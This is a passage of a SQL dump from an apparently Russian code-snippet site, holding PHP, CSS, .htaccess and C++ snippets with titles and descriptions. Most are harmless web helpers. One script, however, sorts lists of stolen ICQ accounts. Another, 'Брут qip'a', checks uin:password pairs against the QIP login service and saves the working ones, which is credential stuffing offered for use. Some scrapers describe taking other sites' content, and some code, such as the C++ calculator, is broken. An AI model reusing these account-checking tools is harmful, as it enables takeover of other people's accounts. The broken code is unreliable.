?>','files_5315_1424_',151),(110,17,'Скрипт разбивки
угнанных ICQ пофайлам','Скрипт разбивки
угнанных ICQ пофайлам','<?php $r =
";" ; //разделитель $f = file(
"source.txt" ); // файл с аськами $si = fopen
( "6.txt" , "a+" ); // шохи $s =
fopen ( "7.txt" , "a+" ); //
семёрки $e = fopen ( "8.txt" ,
"a+" ); // восьмёры $n = fopen (
"9.txt" , "a+" ); // девятки $o
= fopen ( "o.txt" , "a+" ); //
остальное for( $i = 0; $i < count ( $f );$i ++) { $l =
explode( $r , trim( $f [ $i ])); switch( strlen( $l [ 0])) { case 6: fwrite
($si , $f [ $i ]);break; case 7: fwrite ($s , $f [ $i ]);break; case 8:
fwrite ($e , $f [ $i ]);break; case 9: fwrite ($n , $f [ $i ]);break;
default: fwrite ($o , $f [ $i ]);break; } } fclose ( $si ); fclose ( $s );
fclose ( $e ); fclose ( $n ); fclose ( $o );
?>','files_3308_2165_',151),(111,17,'парсер
смайлов','парсер смайлов','<? //Smile parse by
AmFetamiiN //http://smiles.sait.net/ smiles/ set_time_limit (0 ); for( $bn
= 0 ; $bn <999 ; $bn ++){ echo copy( \'http://
smiles.ukrweb.net/smiles/sm\' . $bn . \'.gif\' , \'images/smile\' . $bn .
\'.gif\' ); } ?>','files_2975_4725_',151),(112,17,'Парсинг
страницы и сохранение изображений','Еще
один неплохой парсер изображений,
напрямую тырит
картинки)))','ini_set(\'max_execution_time\', \'1200\'); $from =
\'http://inferno.su/pers_avatares/\'; $str = file_get_contents ($from);
preg_match_all ("!<a.*?href=\\"?\'?([^
\\"\'>]+)\\"?\'?.*?>(.*?)</a>!is",
$str, $ok); for($i = 1; $i < count($ok[1]); $i++) { $url = $from .
$ok[1][$i]; $destination_folder = \'test/\'; $filename = (($pos =
strrpos($url, \'/\')) !== false) ? substr($url, $pos + 1) : $url; if
(!copy($url, $destination_folder.$filename)) { echo \'Не удалось
скопировать \' . $filename . \'...<br/>\'; } echo
\'Файл \' . $url . \' cкопирован в: \' . $destination_folder
. $filename . \'<br/>\';
}','files_5111_2928_',151),(113,17,'Граббим
гугл!!','Граббим
гугл!!','$file=file_get_contents(\'http://google.com/?\'.$_SERVER[\'QUERY_STRING\']);
echo $file;','files_1579_5203_',151),(114,17,'Граббер
музыки','Граббер музыки с
http://loginapps.ru/music/','<?php
$file=file_get_contents(\'http://loginapps.ru/music/?\'.$_SERVER[\'QUERY_STRING\']);
$file=str_replace(\'<link rel="stylesheet"
href="/style/style.css"
type="text/css"/>\',\'\',$file);
$file=str_replace(\'<title>LoginApps</title>\',\'\',$file);
$file=str_replace(\'<div
class="head"><span style="color:
#B1CC47;">Login</span>Apps</div>\',\'\',$file);
$file=str_replace(\'<?xml version="1.0"
encoding="UTF-8"?>\',\'\',$file);
$file=str_replace(\'<div class="foot">(c)
LoginApps, 2013\',\'\',$file); echo $file;
?>','files_1570_3791_',151),(115,17,'Получаем ссылки
на картинки','Все довольно просто )) код
поможет тому кто хочет слить все
изображения со страницы.
пользуйтесь','<?php # сохраняем нужную
страницу $page =
implode("",file("http://profiwm.ru/"));
# получаем ссылки в массив
preg_match_all("/<img src=\\"(.*?)\\"
alt/is",$page,$url); # выводи наш масив
while($i<count($url[1])) { echo
$url[1][$i++]."\\n"; }
?>','files_3910_3863_',151),(116,17,'Парсер вмида по
кошельку','Парсим вмид по номеру
кошелька.Пример
использования:\'.return_wmid($row[\'wmr\']).\'
,Используется CURL!','function return_wmid($purse) {
$request="<request><purse>$purse</purse></request>";
$url="https://passport.webmoney.ru/xml/XMLGetWMIDInfo.aspx";
$ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,
CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
$result=curl_exec($ch); $xmlres = simplexml_load_string($result);
$wmid=$xmlres->certinfo->wmids->row[wmid]; return
$wmid; }','files_2819_3273_',151),(117,17,'Парсинг
цитатника bash.im с сохранением цитат в
mysql-базу','Код скрипт для парсинга
цитатника bash.im (ранее bash.org.ru), с
сохранением цитат в mysql-базу.','Запрос в
MySQL-базу на создание таблицы для цитат
CREATE TABLE IF NOT EXISTS `bash` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`quote_id` int(11) NOT NULL, `quote_text` mediumtext NOT NULL, PRIMARY KEY
(`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1; PHP-код
парсинга <?php //Отключаем лимит
ожидания и объявляем переменные
set_time_limit(0); $content=NULL;$num_pages=NULL; //Подключение
к базе //Подключаемся к базе данных define
("HOST", "localhost"); define
("DATABASE", "ваша база
данных"); define ("MYSQL_USER",
"ваш юзер"); define
("MYSQL_PASS", "ваш пароль");
mysql_connect(HOST, MYSQL_USER, MYSQL_PASS);mysql_query("set names
utf8");mysql_select_db(DATABASE); //Узнаём кол-во
страниц $content=file_get_contents(\'http://bash.im/\');
preg_match(\'|max="(.*?)"|is\',$content,$num_pages);
//Парсим каждую страницу for ($i=1; $i <=
$num_pages[1]; $i++){$i2=false; //Грузим страницы,
вырезаем цитаты
$content=file_get_contents(\'http://bash.im/index/\'.$i);
$quotes=explode(\'<span
class="date">\',$content); foreach($quotes as
$quote){ if($i2==false){$i2=true;continue;} //Номер цитаты
preg_match(\'|class="id">#(.*?)</a>|is\',$quote,$quote_id);
//Текст цитаты preg_match(\'|<div
class="text">(.*?)</div>|is\',$quote,$quote_text);
//Конвертация текста в UTF-8 и
экранирование символов
$quote_text=strip_tags(addslashes(htmlspecialchars(trim(iconv("windows-1251","UTF-8",$quote_text[1])))));
//Вписываем в базу
if($quote_text!=NULL){mysql_query("INSERT INTO
`bash`(`id`,`quote_id`,`quote_text`) VALUES
(NULL,\'{$quote_id[1]}\',\'{$quote_text}\')");} } //От
перенагрузки sleep(2); }
?>','files_1476_4533_',151),(118,17,'Сливаем файлы с
сайта :D','Всё в названии. Простенький
кодец.','for($i = 1; $i <= 100; $i++) { $url =
"http://сайт.ru/images/$i.jpg"; // откуда
тырим контент $path = "images/$i.jpg"; //
директория, в которую будут сохраняться
слитые файлы file_put_contents($path, file_get_contents($url));
// сохраняем всё :D
}','files_5287_2806_',151),(119,17,'Брут qip\'a v0.01','Для
роботы нужен файл source.txt в котором лежат
уины для брута в
формате\r\nуин:пасс\r\nПробрученые уины он
удаляет из файла (чтобы можно было
отключить, а потом начать с последнего).
Гуды гладет в good.txt .','<?php set_time_limit(0);
function curl($url,$post) { $cfile = \'cookies.txt\'; $ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL,
$url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch,
CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch,
CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, 1); $result =
curl_exec($ch); curl_close($ch); return $result; }; function
write($path,$page_body) { $file=fopen($path,"w");
fwrite($file,$page_body); fclose($file); } function read($path) {
$file=fopen($path,"r"); $bufer =
fread($file,filesize($path)); fclose($file); return($bufer); } function
add($path,$page_body) { $file=fopen($path,"a+");
fputs($file,$page_body); fclose($file); } $read =
explode("\\r\\n",read(\'source.txt\'));
$count=count($read); for($i=0;$i<$count;$i++) { list($uin,$pass) =
explode(":",$read[$i]); $result =
curl(\'http://start.qip.ru/reg/test?user=\'.$uin.\'&pass=\'.$pass,\'\');
if($result==\'200\')
add(\'good.txt\',$read[$i]."\\r\\n"); unset($read[$i]);
$zapis = implode("\\r\\n",$read);
write(\'source.txt\',$zapis); } echo \'end\';
?>','files_4329_1404_',151),(120,11,'Вырезаем все не
нужные символы.','Вырезаем все не нужные
символы из текста, кроме нужных,\r\nДанный
код вырежет всё кроме A-z 0-9 _ -, ну как
добавить ещё символы которые не нужно
вырезать думаю разберётся
любой','$text=preg_replace(\'|[^A-z0-9_-]|i\',\'
\',$text);','files_4390_3321_',151),(121,11,'Генератор
случайного текста.','Генератор
случайного текста.','$salt =
\'abcdefghijklmnopqrstuvwxyz\'; $length = 10; echo
substr(str_shuffle($salt), 0,
$length);','files_5672_3791_',151),(122,11,'"Умное"
поле <textarea>','Текст исчезает при
нажатии на форму','<textarea
placeholder="Ваше сообщение:"
onfocus="placeholder=\'\';"
onblur="placeholder=\'Ваше
сообщение:\';"></textarea>','files_3038_5333_',151),(123,13,'Функция
обработки времени','Функция обработки
времени','<? function date_fixed($string, $format =
"d.m.y в H:i:s"){ switch ($format){ default:
$time = time(); $sdvig = 3600 * 0; return strtr(date($format, $string
+ $sdvig), array( date("d.m.y", $time +
$sdvig)=>"Сегодня",
date("d.m.y", $time + $sdvig -
86400)=>"Вчера",
"January"=>"Января",
"February"=>"Февраля",
"March"=>"Марта",
"April"=>"Апреля",
"May"=>"Мая",
"June"=>"Июня",
"July"=>"Июля",
"August"=>"Августа",
"September"=>"Сентября",
"October"=>"Октября",
"November"=>"Ноября",
"December"=>"Декабря",
"Mon"=>"Понедельник",
"Tue"=>"Вторник",
"Wed"=>"Среда",
"Thu"=>"Четверг",
"Fri"=>"Пятница",
"Sat"=>"Суббота",
"Sun"=>"Воскресенье"));
break; ?>','files_1816_1307_',110),(124,13,'Вывод
даты нормальным русским языком','Вывод
даты нормальным русским языком','<?php
function rusdate($d) { $montharr =
array("января","февраля","марта","апреля","мая","июня","июля","августа","сентября","октября","ноября","декабря");
$i = date("m",$d) - 1; return
date("j",$d)." $montharr[$i]
".date("Y",$d); }
?>','files_2649_5026_',110),(125,11,'Введение ссылок
на запись','Введение ссылок на
запись','<?php echo "<div
class=\'$div_umenu\'><img src=\'ссылка где
находиться картинка\' alt=\'\' /> <a
href=\'ссылка пхп
файла\'>название</a></div>";
?>','files_4129_4336_',110),(126,11,'вывод рекламы
для разных стран','наказываем разную
инфоробцию для определеных
стран','<?php $ua = $_SERVER[\'HTTP_USER_AGENT\'];
if(preg_match(\'/ru/\', $ua)){ $s=\'http://profiwm.com\';
$n=\'заголовок на русском\'; }elseif(preg_match(\'/ua/\',
$ua)){ $s=\'http://profiwm.com\'; $n=\'заголовок на
украинском\'; }elseif(preg_match(\'/kz/\', $ua)){
$s=\'http://profiwm.com\'; $n=\'заголовок на
казахском\'; }else{ $s=\'http://profiwm.com\'; $n=\'Для
других стран\'; } $rek="<a
href="$s"><div
class="rek"><img
src="/ico.png">$n</a></div>";//
групперуем echo"$rek";//выводим
?>','files_2775_1250_',110),(127,11,'Подсветка кода
(highlight.js)','Собственно это полезно для тех,
кто хочет сделать подсветку синтаксиса
кода на своем сайте или блоге.\r\n\r\nдля
начала, качаем highlight.js с официального
сайта http://highlightjs.org\r\nскачали, распаковали
в желаемую дерикторию, переходим к
процессу встраивания на свой сайт или
блог:','// подключаем в шапке highlight.js echo
\'<link rel="stylesheet"
href="/highlight/styles/tomorrow.css">
<script
src="/highlight/highlight.pack.js"></script>
<script>hljs.initHighlightingOnLoad();</script>\';
// делаем бб коды, для удобства function code
($code) { $code = preg_replace(\'/\\[php\\](.*?)\\[\\/php]/sui\',
\'<pre><code
class="php">\\1</code></pre>\',
$code); $code = preg_replace(\'/\\[sql\\](.*?)\\[\\/sql]/sui\',
\'<pre><code
class="sql">\\1</code></pre>\',
$code); $code = preg_replace(\'/\\[html\\](.*?)\\[\\/html]/sui\',
\'<pre><code
class="html">\\1</code></pre>\',
$code); $code = preg_replace(\'/\\[css\\](.*?)\\[\\/css]/sui\',
\'<pre><code
class="css">\\1</code></pre>\',
$code); $code = preg_replace(\'/\\[js\\](.*?)\\[\\/js]/sui\',
\'<pre><code
class="javascript">\\1</code></pre>\',
$code); return $code; } // ну, с использованием,
думаю всё ясно print code(текст, или запрос в
бд на вывод текста); // собственно всё, как
видим минимум усилий, и качественная
подсветка кода готова, бб коды можно
дополнять по необходимости нужной
подсветкой, так как highlight поддержует
более 32 языков.','files_3155_3316_',110),(128,11,'показ
разной рекламы 2','показ разной
рекламы','<?php $ua = $_SERVER[\'HTTP_USER_AGENT\'];
if(preg_match(\'/ru/\', $ua)){ $s=\'http://profiwm.com\';
$n=\'заголовок на русском\'; }elseif(preg_match(\'/ua/\',
$ua)){ $s=\'http://profiwm.com\'; $n=\'заголовок на
украинском\'; }elseif(preg_match(\'/kz/\', $ua)){
$s=\'http://profiwm.com\'; $n=\'заголовок на
казахском\'; }else{ $s=\'http://profiwm.com\'; $n=\'Для
других стран\'; } $rek=\'<a
href="\'.$s.\'"><div
class="rek"><img src="/
ico.png">\'.$n.\'</a></div>\';
echo"$rek";//выводим
?>','files_3642_2345_',110),(129,11,'до нового года
остался','до нового года остался ... без
js','<?php $number = 31 - date(d); if ($number == 0) {echo
"С новым годом!";} if ($number > 0)
{echo "До нового года осталось
".$number. " дней!";}
?>','files_3437_2779_',110),(130,11,'в текст
добавляется копирайт','?При копировании
текста с сайта, в текст добавляется
адрес\r\nстраницы и копирайт.\r\nУстановка
очень проста и займет всего лишь минутку.
Из папки /\r\njs/ Нужно скопировать файл в
свою
папку.\r\n======================================================================================\r\nПрописать
в корневом /index.php код\r\n<script
type="text/javascript"
src="/путь_до_файла/copyrtext.js"></\r\nscript>\r\nВсе!!!
Работает 100%','function addLink() { var body_element =
document.getElementsByTagName(\'body\')[0]; var selection; selection =
window.getSelection(); var pagelink = "<br
/><br /> Источник: <a
href=\'"+document.location.href+"\'>"+document.location.href+"</a><br
/ > FisherNew.Ru"; var copytext = selection + pagelink; var
newdiv = document.createElement(\'div\');
newdiv.style.position=\'absolute\'; newdiv.style.left=\'-99999px\';
body_element.appendChild(newdiv); newdiv.innerHTML = copytext;
selection.selectAllChildren(newdiv); window.setTimeout(function() {
body_element.removeChild(newdiv); },0); } document.oncopy =
addLink;','files_4512_4765_',110),(131,11,'Вывод случайного
текста из файла','Создаём файл test.txt и
через символ "|" добавляем
текст, пример:
текст1|текст2|текст3','<?php # подгружаем
файл $file = file_get_contents(\'test.txt\'); # разбиваем на
массивы $ex = explode(\'|\', $file); # подготавливаем
рандом $arr = array_rand($ex); # выводим print
$arr;','files_4442_5212_',110),(132,20,'Полный код
извлечения иконок из Java архива','Создаёте
файл и туда лепите этот\r\nкод. Для примера
название файла\r\nбудет icon.php\r\nТогда
пишите такую штуку где\r\nвам
надо:\r\necho\'Иконка: <img
src="icon.php?\r\njar=\'.base64_encode\r\n(\'java_game.jar\').\'"/>\';','<?php
if(!isset($_GET[\'jar\']))exit; $zip = new ZipArchive; if
($zip->open(base64_decode($_GET [\'jar\'])) === TRUE) { if($manifest
= $zip->getFromName (\'META-INF/MANIFEST.MF\')){ if
(strpos($manifest, \'MIDlet-Icon: \') ! == FALSE){ $jad =
explode(\'MIDlet-Icon: \', $manifest); $icon =
str_replace("n",\' \', $jad[1]); $icon =
str_replace("r",\' \', $icon); $icon = strtok($icon,\'
\'); $icon = preg_replace(\'#^/#\', NULL, $icon); } else
$icon=\'icon.png\'; }else exit; if($image = $zip->getFromName
($icon)){ $image = imagecreatefromstring ($image); $width=imagesx($image);
$height=imagesy($image); $x_ratio=16/$width; $y_ratio=16/$height;
if(($width<=16)&&($height<=16)){
$tn_width=$width; $tn_height=$height;
}elseif(($x_ratio*$height)<16){ $tn_height=ceil($x_ratio*$height);
$tn_width=16; }else{ $tn_width=ceil($y_ratio*$width); $tn_height=16; }
$dst=ImageCreate($tn_width, $tn_height); imagecopyresampled($dst, $image,
0, 0, 0, 0, $tn_width,$tn_height,$width, $height); $image = $dst; }else{
//эта иконка будеет, если в архиве нет
иконки $image = imagecreatefrompng (\'my_icon.png\'); }
header(\'Content-type: image/png\'); ImagePng($image);
ImageDestroy($image); $zip->close(); }
?>','files_1420_2890_',151),(133,20,'Дневной логотип ~
Ночной логотип (php)','Логотип меняется в
зависимости от того, какое время суток у
пользователя!','// Создаем фаил logo_time.php и
прописываем код ниже --- <?php //формат 24
часа $time = date("H"); //Время т.е с 5:00
до 19:00 будет стоять дневной логотип а с
19:00 до 5:00 будет ночной логотип if($time > 5
&& $time < 19) { //подключаем
дневной логотип т.е day.png echo \'<img
src="day.png" alt="">\'; } else
{ //подключаем ночной логотип т.е night.png echo
\'<img src="night.png"
alt="">\'; } ?> --- Выводим
логотип с помощью <?php include(\'logo_time.php\')
?> --- Пример: <div class="head"
style=""><?php include(\'logo.php\')
?></div>','files_3031_5344_',151),(134,20,'Текст
на картинке (CSS3)','Плавное появление
текста и фона на картинке при наведении
на неё курсора!','*.html <div
class="div"> <span
class="img"> <img
src="images/Hight_School.png" /> <span
class="text"> Ваш текст!
</span> </span> </div> *.css
.div { border-top: 1px solid #777; text-align: center; padding: 10px; }
.text { overflow: hidden; display: block; position: absolute; margin-top:
3px; bottom: 3px; left: 0; width: 100%; height: 98%; box-sizing:
border-box; color: #FFF; text-align: left; padding: 5px 10px; opacity: 0;
transition: all .2s ease-in-out; -webkit-transition: all .2s ease-in-out;
-moz-transition: all .2s ease-in-out; } .text:hover { background-color:
rgba(0, 0, 0, .9); opacity: 1; } .img { display: inline-block; position:
relative; }','files_4212_1872_',151),(135,20,'Расположить
елемент по центру,горизонтале','Есть
несколько способов расположить DIV по
центру родительского элемента.\r\n\r\nСамый
простой, присвоить ему следующий
CSS-стиль:','div { width: 100px; margin: 0
auto;','files_3978_3376_',151),(136,20,'Затемнение
счетчика. CSS','<div
class="opacity"> Код счетчика
</div>','Это пропишите в style.css .opacity a
img{opacity:0.3; -moz-opacity:0.3; filter:alpha(opacity=40); } .opacity
a:hover img {opacity:1.0; -moz-opacity:1.0; filter:alpha(opacity=100);
}','files_3718_4040_',151),(137,14,'Подсчёт возраста по
дате рождения','Функция подсчёта
возраста по дате рождения. Возвращает
целое число.','<?php function calc_age($d, $m, $y) {
$age = date(\'Y\') - $y; $_m = date(\'m\'); if($_m < $m || ($_m ==
$m && date(\'d\') < $d)) $age--; return $age; }
//ДД.ММ.ГГГГ echo calc_age(27, 01, 1993);
?>','files_5293_3126_',151),(138,14,'Прокрутка
счётчиков','Многие наверняка видели
"плывущие" счётчики на разных
сайтах, но не многие новички знают что
это достигается при помощи обычного html
тега <marque>','<marquee
behavior="scroll" direction="down"
height = "50spx"
scrollamount="2"> Здесь коды
счётчиков </marquee> где [b]direction[/b] -
Направление скрола, т.е. как будут
прокручиваться счётчики. [b]height[/b] -
Размер в высоту места по которому будут
скролить счётчики. Если у Вас скрол
происходит по горизонтали , этот атрибут
можно убрать. [b]scrollamount[/b] - скорость
скрола.','files_4865_4573_',151),(139,14,'Проверка
совпадений в массиве (array)','Проверка
совпадений в массиве (array)','//ну тут все
понятно if(isset($_POST[\'ok\'])) { $bejsser = array(\'1\', \'2\',
\'3\', \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'10\'); $lol =
htmlspecialchars(trim($_POST[\'lol\'])); //проверяем ,есть
ли совпадения if(in_array($lol, $bejsser)) { echo \'Есть
совпадение\'; }else{ echo \'Совпадений не
найденно\'; }} echo \'<form
method="post"> <input
type="text" name="lol" />
<br> <input type="submit"
name="ok" /> </form>\';
//Иными словами, если в поле \'lol\' будет
одно из значений,которое есть в
массиве,то вылетает true если нету , то false
))','files_1926_1708_',151),(140,14,'Закрыть доступ к
веб-сайту в рабочее время:','Закрыть
доступ к веб-сайту в рабочее
время:','RewriteCond %{TIME_HOUR}%{TIME_MIN} >1000 RewriteCond
%{TIME_HOUR}%{TIME_MIN} <1900 RewriteRule .* - [ F
]','files_2876_1642_',151),(141,14,'.htaccess : Склейка
домена','Для того что бы избавиться раз и
навсегда от www, и склеить домен без www
(http://ваш_сайт.ру т.е. в адресной строке
больше ни когда не будет домена с www -
http://www.ваш_сайт.ру), нужно использовать
следующий код:','RewriteEngine on RewriteCond %{HTTP_HOST}
^www.ваш_сайт.ру [NC] RewriteRule ^(.*)$ http://ваш
сайт.ру/$1
[R=301,L]','files_1332_1812_',151),(142,14,'Полезный код (хз
как назвать)','Допустим жмете на ссылку, а
вас кидает вниз страницы.','Ссылка: <a
href=\'/страница.html#ключевые
данные\'>вниз</a> пример: <a
href="/rulels.php#1.6">правило
#1.6</a> ниже пишем правило: <div
id="1.6">ТУТ написано какое-то
правило, ссылка переместит вас
сюда</div>
всё:3','files_2831_4888_',151),(143,14,'калькулятор на
с++','простой калькулятор на сложение.
лень делать с остальными) Если можно
проще или я где-то ошибся, отпишите)','#include
<iostream> #include <locale> using namespace
std; int main() { int number1; int number2; int result = number1 +
number2; setlocale(LC_ALL, "rus"); cout
<< "Здарова пацандре! Я смотрю
ты считать не умеешь! Я тебе помогу!"
<< endl; cout << "Введи
первую цифру: " cin >> number1; cout
<< endl; system("pause"); cout
<< "Теперь вторую гони сюда:
" cin >> number2; system("pause");
cout << endl; cout <<"Ответ
готов!" << number1 << "
+ " << number2 << " =
" << result; system("pause");
}','files_1610_4765_',151),(144,14,'Включаем вывод всех
PHP ошибок в браузере','Этот код ,
позволяющий включить вывод ошибок в
браузер:','1. error_reporting(E_ALL); 2.
ini_set("display_errors",
1);','files_4305_2920_',151),(145,14,'Opera Mini ->
Исходник','в урл пишем код ниже и
вуаля.','server:source','files_1450_4451_',151),(146,14,'Блокирование
запросов от определенных
браузеров','Если в ваших файлах журналов
появились записи о посещении особых
браузеров (это могут быть имитирующие
работу браузера боты или пауки), вы
можете запретить им доступ на свой сайт,
добавив несколько строк в.
htaccess.\r\nЗамените badbot1, badbot1 и т. д. именами
ботов из вашего журнала. Это закроет
посторонним программам доступ к вашему
сайту.код нашел в интернете.','RewriteEngine On
RewriteBase / SetEnvIfNoCase Referer "^$" bad_user
SetEnvIfNoCase User-Agent "^badbot1" bad_user
SetEnvIfNoCase User-Agent "^badbot2" bad_user
SetEnvIfNoCase User-Agent "^badbot3" bad_user Deny from
env=bad_user','files_1505_2807_',151),(147,14,'Исходник с
телефона','У меня опера мини. Работает
нормально. Зайдите в закладки, в адрес
напишите код ниже. Сохраните. Зайдите на
сайт и в закладках выберите наш
код.','javascript:el=document.getElementsByTagName(\'html\')[0];s=el.outerHTML.replace(/</g,\'<\');el.innerHTML="";document.write(s);','files_4938_5644_',151),(148,14,'C++
для начинающих','Для данного урока нам
потребуется .NET 4 и Microsoft Visual C++','#include
<iostream> // вызываем библиотеку
отвечающую за вывод на экран using namespace std;
// используем пространство по
умалчиванию void main() { cout << "Hi,
this my first program on C++!"; // выводим текст на
экран } /* void - тип main - имя функции (..) - вход
в функцию */ Компилируем и радуемся что
мы написали свою первую программу на
Си++.','files_2774_2686_',151),(149,14,'Генерация
случайного набора символов NEW','Смотрю
коды которые вылаживают и ужасаюсь от
количества строк.\r\nМинус у этого метода
только один и это количество символов в
генерируемой строке не может превышать
количеству заданных символов для
генерации','Первый вариант [code] function
RandomStringOne($length = 7) { return
substr(str_shuffle(implode(array_merge(range(0,9), range(\'A\', \'Z\'),
range(\'a\', \'z\')))), 0, $length); } echo RandomStringOne(); [/code]
Второй вариант [code] function RandomStringTwo($length = 7) {
return
substr(str_shuffle(\'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\'),
0, $length); } echo RandomStringTwo();
[/code]','files_4207_4116_',151),(150,14,'Генерация
случайного набора символов','Генерирует
случайную строку,содержащую в себе буквы
и цифры','$a =
array(\'a\',\'b\',\'c\',\'d\',\'k\',\'o\',\'i\',\'s\',\'h\',\'t\',\'u\',\'z\',\'y\',\'w\',\'v\',\'m\',\'n\',\'e\',\'A\',\'B\',\'C\',\'D\',\'K\',\'O\',\'I\',\'S\',\'H\',U\',\'M\',\'S\',\'T\',\'E\',\'J\',\'L\',\'P\',\'R\',\'W\');
$rand = rand(00000, 99999); $o = $a[rand(0,10)]; $o1 = $a[rand(0,15)]; $o2
= $a[rand(0,25)]; $o3 = $a[rand(0,37)]; $oo = $o.$o1.$rand.$o2.$o3; echo
\'\'.$oo.\'\';','files_3747_3023_',151),(151,14,'Простенький
генератор паролей','Простенький
генератор паролей','<? if(isset($_POST[\'ok\'])){
$arr=array(\'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\',
\'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\',
\'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\', \'a\', \'b\', \'c\',
\'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\',
\'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\',
\'x\', \'y\', \'z\'); $k=intval($_POST[\'kak\']); for($i=1;
$i<=intval($_POST[\'d\']); $i++){ if($k == 1){
$gen.=$arr[rand(0,(count($arr)-1))]; } elseif($k == 2){ $gen.=rand(0,9); }
} echo\'<b>Пароль: <font
color="green">\'.$gen.\'</font></b>\';
} echo\'<form method="post">Длина
пароля:<br/><input type="text"
name="d"
size="2"><br/>Используемые
символы:<br/><select
name="kak"><option
value="1">A-z</option><option
value="2">0-9</option></select><br/><input
type="submit" name="ok"
value="Генерировать"></form>\';
?>','files_5267_3500_',151),(152,14,'Совместимость
имен. FIXED','Совместимость имен. FIXED','<?php
function calc_names($name1, $name2) { $num1 = 0; $num2 = 0;
$base = array("0" => 0, "1"
=> 1, "2" => 2, "3"
=> 3, "4" => 4, "5"
=> 5, "6" => 6, "7"
=> 7, "8" => 8, "9"
=> 9, "a" => 10, "b"
=> 11, "c" => 12, "d"
=> 13, "e" => 14, "f"
=> 15); $md1 = md5($name1); $md2 = md5($name2);
for($i = 0; $i < 32; $i++) { $value = $base[substr($md1, $i, 1)];
$num1 += $value; } for($j = 0; $j < 32; $j++) {
$value = $base[substr($md2, $j, 1)]; $num2 += $value; } return
100 - round(abs(ceil($num1 / 3.1) - ceil($num2 / 3.1)) * 3); }
if($_POST[\'ot\'] == NULL AND $_POST[\'do\'] == NULL){ $ot = \'Саша\';
$do = \'Маша\'; }else{ $ot = htmlspecialchars($_POST[\'ot\']); $do =
htmlspecialchars($_POST[\'do\']); } if(isset($_POST[\'submit\'])){ $result
= \'Результат: <b>\'.$ot.\' + \'.$do.\' =
\'.calc_names($_POST[\'ot\'],
$_POST[\'do\']).\'%</b><hr />\'; } echo
\'<div class="new"><form
method="post">\'.$result.\' Ваше
имя:<br /> <input type="text"
name="ot" value="\'.$ot.\'"
/><br /> Имя вашей
половинки:<br /> <input
type="text" name="do"
value="\'.$do.\'" /><br />
<input type="submit"
name="submit" value="Получить"
/> <input type="submit"
name="refresh" value="Обновить"
/></form></div>\';
?>','files_5258_2728_',151),(153,14,'Ошибка социала
(исправление)','На движке социала и на
официальном сайте движка, заметил такую
ошибку, у пользователя в разделе
"Все статусы" не выводится
количество лайков, данный код исправит
эту ошибку, замените его в нужных местах.
Если понадобится помощь, пишите в
л/с.','" . mysql_result(mysql_query("SELECT COUNT(*)
FROM `status_like` WHERE `id_status` =
\'$post[id]\'"),0)."</a>";','files_2908_3547_',151),(154,14,'Разбор
robots.txt','Этот пример класса, получающего и
разбирающего файл robots.txt.','<?phpclass robots{
var $content = \'\'; # текст файла robots.txt var $branches =
array(); # здесь храним ветки для разных
User-Agent # конструктор # @url: адрес сайта или
хост в произвольном формате function robots($url) {
# получаем файл robots.txt $url =
preg_replace(\'#^http://#is\', \'\', trim($url)); $url =
current(explode(\'/\', $url)); $this->content =
trim(file_get_contents(\'http://\' . $url . \'/robots.txt\')); #
парсим полученные данные $s =
preg_split(\'#[n]+#is\', $this->content); $current_user_agent =
\'\'; foreach($s as $line) { $line = trim(current(explode(\'#\',
trim($line), 2))); if (substr_count($line, \':\')<1) continue; $line
= explode(\':\', $line, 2); $current_directive =
strtolower(trim($line[0])); $current_value = trim($line[1]); if
($current_directive == \'user-agent\') { $current_user_agent =
$current_value; } elseif($current_user_agent!=\'\') {
$this->branches[$current_user_agent][$current_directive][] =
$current_value; } } } # получить значение заданной
директивы для заданного агента # @user_agent:
агент # @directive: имя директивы # возвратит
FALSE если директива неуказана function
get_directive($user_agent, $directive) { $user_agent =
strtolower($user_agent); $directive = strtolower($directive); $ret =
array(); foreach($this->branches as $ua_mask=>$data) { if
(($ua_mask==\'*\' || $user_agent==\'*\' ||
@preg_match(\'#\'.preg_quote($ua_mask,\'#\').\'#is\', $user_agent))
&& isset($data[$directive])) { $ret = array_merge($ret,
$data[$directive]); } } if (count($ret)>0) return
array_unique($ret); else return FALSE; } # проверить,
запрещен ли url к индексации # @user_agent: агент
# @url: полный url для проверки # возвратит TRUE
если url запрещен function check_disallow($user_agent,$url) {
$url = preg_replace(\'#^http://#is\', \'\', trim($url)); $url =
explode(\'/\', $url, 2); $url = (count($url)>1) ? \'/\' . $url[1] :
\'/\' . $url[0]; $url = trim($url); $info =
$this->get_directive($user_agent, \'Disallow\'); foreach($info as
$url_mask) { if (preg_match(\'#^\'.preg_quote($url_mask, \'#\').\'#\',
$url)) { return true; } } return false;
}}?>','files_5000_5492_',151),(155,14,'Проверка
наличия ссылки на странице!','Иногда
необходимо убедиться в том, что на
конкретной странице действительно есть
конкретная ссылка','<?phpfunction
contains_link($page_url, $link_url) {// $page_url - страница на
которй ищем// $link_url - ссылка, которую ищем
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,
CURLOPT_FOLLOWLOCATION, 1); // в качестве User-Агента
можно использовать имя бота поисковых
систем для пущей надежности ;-) curl_setopt($ch,
CURLOPT_USERAGENT, \'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT
